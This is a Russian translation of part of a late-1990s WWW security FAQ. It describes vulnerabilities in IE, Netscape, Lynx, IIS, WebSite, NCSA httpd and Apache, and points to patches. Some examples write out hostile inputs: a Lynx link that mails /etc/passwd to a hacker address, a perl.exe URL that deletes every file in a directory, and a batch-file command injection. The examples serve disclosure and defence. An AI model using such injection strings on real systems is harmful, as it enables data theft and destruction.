Лазейка была найдена Paul Greene и изучена с помощью Geoffrey Elliot и Brian Morin. Детали (включая впечатляющие примеры) можно найти на сервере: http://www.cybersnot.com/iebug.html.
Если вы используете IE 3.01 или более ранних версий, то вам настоятельно рекомендуется применить исправления, выпущенные Microsoft Corporation и доступные на их сервере: http://www.microsoft.com/ie/security/update.htm. После применения убедитесь, что ваша копия была корректно исправлена, выбрав пункт "About Internet Explorer" (о программе) из меню Help (помощь). Версия вашей программы должна быть указана как 3.01b. Исправленная версия будет предупреждать вас перед открытием файла через ярлык. В общем случае стоит отказываться от открытия ярлыка, полученного через Internet.
Вот простой тест для проверки того, используете ли вы исправленную версию IE. Попробуйте выбрать ссылку, приведенную ниже. Если вы получите предупреждение о том, что вы пытаетесь запустить двоичный файл, и предложение выбора между "открыть" (open) и "сохранить" (save) его, то у вас исправленная версия браузера. Если появляется окно текстового редактора notepad (блокнот), то у вас есть проблемы.
file:///C:\WINDOWS\NOTEPAD.EXE
Начиная с 14 марта 1997г., исправления Microsoft касаются также и ссылок, заключенных в сообщения электронной почты и телеконференций. Первая версия исправлений не затрагивала этой проблемы.
В качестве комментария - план Microsoft скрыть различия между Internet и рабочим столом имеет обратную сторону. В ситуации, когда трудно различить непроверенные программы, полученные "откуда-то там", и те, что лежат на локальном диске, пользователь может легко совершать ошибки, подвергающие его машину всевозможным нападениям. По мнению автора эта стратегия - из тех, что связаны с большим риском.
Список вопросов и ответов по безопасности в Internet Explorer формируется по адресу:
Обращайтесь туда за получением дальнейшей информации по проблемам безопасности в IE.http://www.nwnetworks.com/iesf.html
Единственная известная в настоящее время ошибка затрагивает файл закладок (bookmarks). Netscape Communicator резервирует буфер фиксированного размера для хранения названия заложенной страницы. Если Вы добавляете к закладкам страницу с необычно длинным заголовком, то браузер вызовет ошибку при следующем обращении к закладке. Подобно ошибкам в Internrt Explorer, эта лазейка может быть использована для выполнения произвольного кода на вашей машине.
В настоящее время неизвестно, какие версии затронуты этой ошибкой. Версии 4.03 и 4.04 для Windows 95 и NT точно ее содержат. Статус версий для Macintosh и Unix остается невыясненным. В настоящее время исправлений для ошибки нет (13 апреля 1998). Ошибки можно избежать внимательной проверкой страниц перед их добавлением к закладкам. Следует проявлять осторожность в случаях, если страница имеет очень длинный заголовок, или заголовок содержит странные символы.
Это есть пример отсутствия проверки вводимой пользователем информации на присутствие метасимволов командного процессора, проблемы, годами мучающей разработчиков CGI.< a href="LYNXDOWNLOAD://Method=-1/File=`mail%20hackers@hack.com%3C/etc/passwd`/SugFile=test"> НАЖМИТЕ ЗДЕСЬ </a>
Обновите Вашу версию Lynx как можно скорее.
|
Наверх, к Содержание | ||
|
Назад, к История сервера и частная жизнь | Forward to Specific Servers |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Tue Jun 30 21:53:58 EDT 1998
Вопросы и ответы по безопасности в WWW
|
Наверх, к Содержание | ||
|
Назад, к Безопасность на стороне клиента | Вперед, к Библиография |
Детали использования лазейки не были опубликованы, однако вы можете найти более подробное описание проблемы в оригинальной статье на URL http://www.sddt.com/files/library/98/06/25/tbc.html.
Netscape сообщила, что исправления разрабатываются. Проверте наличие исправлений на сайте Netscape. Если Вы используете вставки на сервере, то вам необходимо воспользоваться исправлениями немедленно после их выпуска.
Серверы O'Reilly WebSite и WebSite Professional также содержат эту лазейку. Microsoft IIS видимо не содержит ее.
Netscape обещает выпустить исправления. По состоянию на 16 января 1998 года, исправления еще не доступны на сервере Netscape.
Эта ошибка затрагивает также сервер Microsoft IIS . Есть сообщения о том, что последние версии сервера WebSite Professional не содержат этой лазейки.
/cgi-bin/perl.exe?&имя_скрипта.pl.
К сожалению, это позволяет любому пользователю в Internet выполнять на вашем
сервере произвольные команды Perl, например:
/cgi-bin/perl.exe?&-e+unlink+%3C*%3E (при обращении стираются все
файлы в текущем директории сервера). Это плохо. Текущие
рекомендации Netscape состоят в заключении вашего скрипта в .bat файл. Однако
это не безопаснее из-за похожей проблемы с .bat файлами.
Поскольку серверы для NT EMWACS, Purveyor и WebSite используют механизмы NT для распознавания имен файлов, вы можете использовать скрипты на Perl на этих серверах не помещая perl.exe в директорий cgi-bin. Указанные серверы безопаснее в этом отношении.
Рассмотрим файл test.bat:
@echo off
echo Content-type: text/plain
echo
echo Hello World!
Если обратиться к нему как "/cgi-bin/test.bat?&dir", то вы получите вывод
программы, за которым последует список файлов в директории.
Похоже, что сервер генерирует команду system("test.bat &dir"), которая, не без
оснований, выполняется командным интерпретатором так же, как это было бы
сделано оболочкой /bin/sh - выполнить test.bat и, если все в порядке,
выполнить команду dir.
Детали использования лазейки не были опубликованы, однако вы можете найти более подробное описание проблемы в оригинальной статье на URL http://www.sddt.com/files/library/98/06/25/tbc.html.
В O'Reilly сообщают, что исправления будут сделаны в серверах WebSite и WebSite Professional версии 2.3. Если вы используете вставки на сервере, то вам остро необходимо подумать об обновлении версии.
Серверы Netscape для Windows также содержат эту лазейку. Microsoft IIS видимо не содержит ее.
Эта лазейка исправлена в версии 1.1c. Вы должны обновить вашу версию с использованием исправлений, доступных на сервере WebSite.
Подробная информация о действиях, необходимых для закрытия этой лазейки, доступна на этой странице разработчика сервера WebSite.
Исправления можно найти на Microsoft's security pages. Свежие версии сервера не содержат этой ошибки.
Такая же ошибка присутствует в серверах Netscape Enterprise и Commerce. Сообщается об отсутствии этой проблемы в последних версиях WebSite Professional.
Microsoft выпустил исправление этой ошибки, доступное по адресу http://www.microsoft.com/infoserv. Кроме того, все копии сервера, полученные после 5 марта 1996 года, не должны содержать этой ошибки. Если вы используете этот сервер, то проверте дату создания вашей копии, и если необходимо - обновите ее.
Microsoft IIS версий до 3.0 содержат лазейку, позволяющую удаленному пользователю получить доступ к содержимому выполняемых скриптов, и, возможно, таким образом - к важной информации: структура сети, или имена баз данных, или алгоритмы вычисления скидок. Лазейка присутствует, если для директория со скриптами разрешен доступ на чтение и на выполнение. Удаленный пользователь имеет возможность получить файл скрипта просто добавив точку в конец адреса URL. Для защиты запретите доступ для чтения ко всем дмректориям, содержащим скрипты CGI. Или получите исправления от Microsoft, доступные по адресу
ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp2/iis-fix
Точная длина запроса, вызывающего сбой, варьирует от сервера к серверу, и зависит от таких вещей, как размер используемой памяти. Магический размер обычно составляет число, близкое к 8192 символам, что позволяет предположить наличие ошибки переполнения буфера. В прошлом подобные ошибки часто использовались знающими хакерами для выполнения команд на сервере, что позволяет опасаться, что данная лазейка может потенциально быть более опасной.
Исправления можно получить у Microsoft: ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postSP3/iis-fix
Версия JavaWebServer для Windows NT содержит лазейку, позволяющую удаленному пользователю получать доступ к исходным файлам классов Java. Ошибка похожа на ошибки в серверах O'Reilly WebSite Professional и Netscape Enterprise Server. Добавив определенные символы к URL, пользователь может заставить сервер передать ему целый сервлет, который можно декомпилировать с применением программ типа Mocha. Проблема заслуживает внимания, поскольку сервлеты могут содержать важную информацию, включая пароли для доступа к базам данных.
Компания Sun пока не объявляла об исправлениях. Проверте их доступность на корпоративном сайте Sun. Подробности можно прочесть на http://www.sddt.com/files/library/98/06/29/tbd.html
Согласно Jeff Forristal, нашедшему эту лазейку, MetaWeb содержит проблему "двойной точки", имевшуюся в ранних версиях Microsoft IIS. Включая двойные точки ("..") в состав URL, можно получить доступ к директориям за пределами дерева документов Web, включая системные директории Windows. Это позволяет получить доступ к конфиденциальной информации. Хуже того, один из вариантов нападения позволяет запускать на выполнение программы, установленные на сервере.
MetaWeb пока не предоставила исправлений или новых версий сервера. Обновите вашу версию сразу после выпуска исправлений. Хорошим временным решением проблемы будет отключение удаленного администрирования через WWW.
Более подробную информацию можно получить на сайте Jeff Forristal.
Недавно стало известно, что пример кода на C
(cgi_src/util.c) распространявшийся долгое время с NCSA httpd
в качестве примера того, как надо писать безопасные скрипты CGI, не содержит
символа перевода строки в списке символов, запрещенных для передачи оболочке
операционной системы. Тем самым в любой скрипт, написанный с использованием
этого примера, внесена серьезная лазейка - хакер может использовать эту ошибку
для выполнения произвольной команды Unix на сервере. Это еще один пример
опасности применения команд оболочек ОС в скриптах
CGI.
Кроме того, исходные тексты самого сервера NCSA (версии 1.5a и более ранние)
содержат ту же самую ошибку. Ошибочная процедура идентична, но находится в
файле src/util.c, а не в cgi_src/util.c.
При изучении текстов программ сервера автор не нашел места, где строка,
введенная пользователем, передавалась бы оболочке ОС после обработки этой
функцией, поэтому он думает, что это не является серьезной лазейкой.
Однако безопаснее применить исправления, приведенные ниже.
Сервер Apache, версии 1.02 и ниже, также содержит эту ошибку и в директории
cgi_src, и в src/. Возможно, аналогичная ошибка
имеется и в других серверах - производных от NCSA.
Способ исправления лазейки в двух файлах util.c прост.
"phf" и любой другой скрипт, использующий эту библиотеку, должен быть заново
скомпилирован после внесения исправлений (программа GNU patch может быть
получена по ftp:
ftp://prep.ai.mit.edu/pub/gnu/patch-2.1.tar.gz).
Вы должны дважды применить эту "заплату": один раз - находясь в директории
cgi_src/, потом - в src/:
tulip% cd ~www/ncsa/cgi_src
tulip% patch -f < ../util.patch
tulip% cd ../src
tulip% patch -f < ../util.patch
---------------------------------- линия отреза ----------------------------------
*** ./util.c.old Tue Nov 14 11:38:40 1995
--- ./util.c Thu Feb 22 20:37:07 1996
***************
*** 139,145 ****
l=strlen(cmd);
for(x=0;cmd[x];x++) {
! if(ind("&;`'\"|*?~<>^()[]{}$\\",cmd[x]) != -1){
for(y=l+1;y>x;y--)
cmd[y] = cmd[y-1];
l++; /* length has been increased */
--- 139,145 ----
l=strlen(cmd);
for(x=0;cmd[x];x++) {
! if(ind("&;`'\"|*?~<>^()[]{}$\\\n",cmd[x]) != -1){
for(y=l+1;y>x;y--)
cmd[y] = cmd[y-1];
l++; /* length has been increased */
---------------------------------- линия отреза ----------------------------------
Серверы Apache до 1.1.3 содержат две гораздо более серьезные лазейки. Первая относится к серверам, откомпилированным с модулем "mod_cookies". Пользователь имеет возможность посылать очень длинные cookies и вызывать переполнение стека, что дает возможность выполнения произвольных системных команд. Поскольку в этом случае удаленный пользователь имеет возможность получить доступ к системе, в этом случае опасность гораздо более серьезная, чем в предидущем, когда лазейка может быть использована только локальным пользователем.
Вторая проблема с версией 1.1.1 касается автоматического просмотра директориев. Обычно пользователь не имеет возможности получить список файлов из директория, если там есть "страница приветствия", такая, как файл "index.html". Ошибка вызывает нарушение этой проверки при определенных условиях, и пользователь имеет возможность просмотра содержимого директория даже если там есть "страница приветствия". Ошибка менее серьезна, чем первая, но оставляет возможность для утечки информации.
Подробную информацию и текущие версии сервера Apache можно получить по адресу:
http://www.apache.org/
Однако, хорошо известны два случая, когда была взломана система шифрования, используемая в Netscape Secure Commerce Server. В первом случае сообщение, зашифрованное с менее надежным 40-разрядным ключем, было вскрыто методом грубой силы с использованием сети рабочих станций. 128-разрядные ключи, используемые для шифрования в пределах США, считаются устойчивыми к такого рода атакам.
Во втором случае было обнаружено, что генератор случайных чисел, используемый сервером для построения ключей шифрования, относительно предсказуем, что позволяет использовать программу-взломщик для быстрого нахождения правильного ключа. Эта лазейка была закрыта в последних версиях программы, и вы должны обновить вашу версию если вы используете шифрование для защиты передаваемых данных. И сервер, и браузер должны быть обновлены для того, чтобы полностью закрыть эту лазейку. Для получения дальнейшей информации см. http://home.netscape.com/newsref/std/random_seed_security.html.
Согласно Richard L. Gray (rlgray@us.ibm.com>) из IBM, все известные проблемы исправлены в версиях 4.2.1.3 и более поздних. Lotus Domino Go теперь существует для систем Windows 95, Windows NT, OS/390, HPUX и Solaris.
Есть причины предполагать, что сам по себе сервер WebSTAR более безопасен, чем серверы для Unix и Windows. Поскольку Macintosh не имеет оболочки ОС с командным языком, и поскольку он не позволяет удаленного входа (remote login) в систему, можно ожидать, что Mac по своей природе более безопасен, чем другие платформы. Эти ожидания пока оправдываются: до сих пор не было сообщений о проблемах с безопасностью ни в сервере WebStar, ни в его shareware предшественнике MacHTTP.
В начале 1996 года консорциум разработчиков программ Internet для Macintosh, в состав которого входит производитель WebStar - StarNine, объявил о награде в размере 10000 долларов любому, кто сможет прочесть защищенную паролем страницу Web на Macintosh под управлением WebStar. Как написано в статье с объявлением конкурса в Tidbits#317/04-Mar-96, в течение 45 дней никто не подал заявки на приз.
Хотя "проникнуть" на Macintosh обычным образом нельзя, могут обнаружиться следующие потенциальные лазейки:
На самом деле, повторный конкурс "взломай Мак" (Crack-a-Mac) в 1997 году, организованный шведской консалтинговой компанией, был не так успешен. В этом случае взломщик смог проникнуть на сервер и украсть защищенную страницу, используя для этого ошибки в двух надстройках сервера, предназначенных для удаленного администрирования и редактирования. Это является примером рисков, привносимых использованием скриптов CGI, дополнительных модулей и надстроек сервера. Детали истории и исправления модулей можно найти на http://hacke.infinit.se/
(Информация предоставлена Paul DuBois <dubois@primate.wisc.edu>).
|
Наверх, к Содержание | ||
|
Назад, к Безопасность на стороне клиента | Вперед, к Библиография |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Wed Jul 1 06:46:41 EDT 1998
Вопросы и ответы по безопасности в WWW
|
Назад, к Конкретные серверы |
Наверх, к Содержание |
|
Назад, к Конкретные серверы |
Наверх, к Содержание |
Lincoln D. Stein (lstein@w3.org)
Перевод - Дмитрий Громов
Last modified: Mon Apr 13 17:55:15 EST 1998
Вопросы и ответы по безопасности в WWW
| Наверх, к
Содержание |
http://www.w3.org/Security/Faq/Этот документ обновляется каждые 4 - 6 недель.
http://www.w3.org/Security/Faq/www-security-faq.tar.gzПосле этого Вам следует установить задачу для cron демона для периодической проверки этого сайта и обновления Вашей копии. Вы можете использовать программу w3mir для этой цели. Пожалуйста, пошлите e-mail автору оригинала, если Вы устанавливаете зеркальную копию в стране, не имеющей их в настоящее время, чтобы Ваша копия могла быть добавлена к этому списку (требуется больше адресов в Южной Америке и Азии!)
Вы также можете получить весь документ (оригинал на английском языке) в виде ZIP файла:
http://www.w3.org/Security/Faq/www-security-faq.zip
|
Наверх, к Содержание |
Перевод - Дмитрий Громов
Last modified: Thu Apr 16 10:41:20 EST 1998